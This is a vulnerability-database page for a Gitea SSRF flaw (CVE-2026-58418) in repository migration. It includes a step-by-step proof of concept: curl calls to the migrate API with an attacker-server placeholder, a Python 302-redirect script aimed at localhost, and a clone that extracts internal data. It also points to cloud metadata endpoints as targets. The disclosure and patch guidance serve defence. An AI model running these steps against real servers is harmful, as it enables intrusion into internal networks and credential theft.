Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
MEDIUM severity

CVE-2026-58418 — gitea

MEDIUMFix: go-gitea/gitea#38108

CVE-2026-58418 is a medium-severity (CVSS 6.5) Server-Side Request Forgery (SSRF) vulnerability in code.gitea.io/gitea. A fix is available for code.gitea.io/gitea — see the affected versions and patch details below.

SSRF via HTTP Redirect in Repository Migration

Also known asGHSA-rqhx-647v-wx32GO-2026-6075
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 11, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-58418.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs34th percentile — riskier than 34% of all scored CVEsHighest risk
0.00%0.30%0.61%0.92%0.2%0.4%0.4%0.4%Aug 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-58418 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 385,738 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐹code.gitea.io/gitea

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Gitea 1.25.4 validates the initial URL provided to the repository migration endpoint (POST /api/v1/repos/migrate) and correctly blocks requests to internal addresses like 127.0.0.1 or RFC1918 ranges. However, if the initial URL points to an attacker-controlled server that responds with an HTTP 302 redirect to an internal address, Gitea follows the redirect without performing a second validation. This allows a low-privilege user to reach internal services through Gitea as a proxy.

Affected Version

Gitea 1.25.4 (latest stable at time of writing), default configuration.

Prerequisites

  1. A regular Gitea user account (no admin privileges required)
  2. An attacker-controlled server reachable from the internet that serves HTTP 302 redirects

Reproduction

Environment

RoleLocationNetwork
AttackerAny machine with internet accessExternal network (VLAN A)
Gitea ServerWindows 11 VM, Gitea 1.25.4, default config, SQLiteInternal network (VLAN B)
Internal serviceSame VM, bound to 127.0.0.1:18082Localhost only
Redirect serverAttacker-controlled public server, port 18080Internet

The attacker can reach Gitea on port 3000 but cannot reach port 18082 on the VM. This was verified by attempting a direct connection, which was refused.

Step 1: Create an attacker account on Gitea

Register a normal user account on the Gitea instance (or use any existing non-admin account). Then generate an API token under Settings > Applications with the repo: write scope. The migration endpoint requires this because it creates a new repository. This token is referenced as <USER_TOKEN> in the steps below.

Step 2: Set up an internal service on the Gitea host

On the Gitea VM, create a bare Git repository that simulates an internal service:

mkdir C:\internal-repo
cd C:\internal-repo
git init
echo CONFIDENTIAL_DATA_2025 > secret.txt
git add .
git commit -m "internal confidential"
git clone --bare . C:\internal.git
cd C:\internal.git
git update-server-info
python -m http.server 18082 --bind 127.0.0.1

This serves a Git repository on localhost port 18082. It is not reachable from outside the machine.

Step 3: Confirm Gitea blocks direct access to internal addresses

From the attacker machine:

curl -X POST http://<GITEA_SERVER>:3000/api/v1/repos/migrate \
  -H "Authorization: token <USER_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "clone_addr": "http://127.0.0.1:18082/",
    "repo_name": "direct-test",
    "service": "git"
  }'

Response:

{"message":"You can not import from disallowed hosts."}

This confirms that Gitea correctly blocks migration from internal addresses when provided directly.

Step 4: Set up a redirect server

On an attacker-controlled public server, run a script that redirects all requests to the internal service:

from http.server import BaseHTTPRequestHandler, HTTPServer

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        path = self.path
        if path.startswith("/repo.git"):
            path = path[len("/repo.git"):]
        target = f"http://127.0.0.1:18082{path}"
        self.send_response(302)
        self.send_header("Location", target)
        self.end_headers()
        print(f"[+] Redirected {self.path} -> {target}")

    do_HEAD = do_GET

HTTPServer(("0.0.0.0", 18080), RedirectHandler).serve_forever()

Step 5: Exploit the redirect bypass

From the attacker machine:

curl -X POST http://<GITEA_SERVER>:3000/api/v1/repos/migrate \
  -H "Authorization: token <USER_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "clone_addr": "http://<ATTACKER_SERVER>:18080/repo.git",
    "repo_name": "exfil-test",
    "service": "git",
    "private": true
  }'

Response: HTTP 201 Created. The migration succeeds.

Step 6: Retrieve the exfiltrated data

From the attacker machine:

git clone http://attacker:password@<GITEA_SERVER>:3000/attacker/exfil-test.git
cat exfil-test/secret.txt

Output:

CONFIDENTIAL_DATA_2025

The attacker now has the contents of the internal repository that was only accessible on localhost.

What happens during the attack

  1. The attacker sends a migration request pointing to their public server.
  2. Gitea validates the URL. The destination is a public IP, so it passes the check.
  3. Gitea contacts the attacker's server to clone the repository.
  4. The attacker's server responds with 302 Location: http://127.0.0.1:18082/...
  5. Gitea follows the redirect to 127.0.0.1 without validating the new destination.
  6. The internal service responds and Gitea stores the result as a new repository owned by the attacker.
  7. The attacker clones their newly created repository and reads the internal data.

Impact

Any authenticated user with permission to create repositories can use the migration feature to reach services that are only accessible from the Gitea server itself or its local network. Depending on the environment this could include:

  1. Internal Git repositories or other version control systems not exposed to the internet
  2. Cloud metadata endpoints (169.254.169.254) which serve temporary credentials on AWS, GCP, and Azure
  3. Internal APIs, CI/CD systems, databases, or admin panels bound to localhost or private networks
  4. Other services within the same network segment that trust connections from the Gitea server

The full content of internal Git repositories can be exfiltrated as demonstrated above. For non-Git services, the request still reaches the target (blind SSRF), which may be enough to trigger actions or leak information through error messages.

Suggested Fix

Validate the destination of HTTP redirects against the same blocklist that is applied to the initial URL. If a redirect points to a blocked address (loopback, link-local, RFC1918), the request should be aborted before following the redirect.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gocode.gitea.io/giteaall versions1.26.4go get code.gitea.io/gitea@v1.26.4

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.gitea.io/gitea, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update code.gitea.io/gitea to 1.26.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-58418 is resolved across your whole dependency graph.

  3. Workarounds

    Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.

Frequently Asked Questions

## Summary Gitea 1.25.4 validates the initial URL provided to the repository migration endpoint (`POST /api/v1/repos/migrate`) and correctly blocks requests to internal addresses like `127.0.0.1` or RFC1918 ranges. However, if the initial URL points to an attacker-controlled server that responds with an HTTP 302 redirect to an internal address, Gitea follows the redirect without performing a second validation. This allows a low-privilege user to reach internal services through Gitea as a proxy. ## Affected Version Gitea 1.25.4 (latest stable at time of writing), default configuration. ## P
O3 Security · Impact-Aware SCA

Is CVE-2026-58418 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-58418: gitea SSRF — Fixed in 1.26.4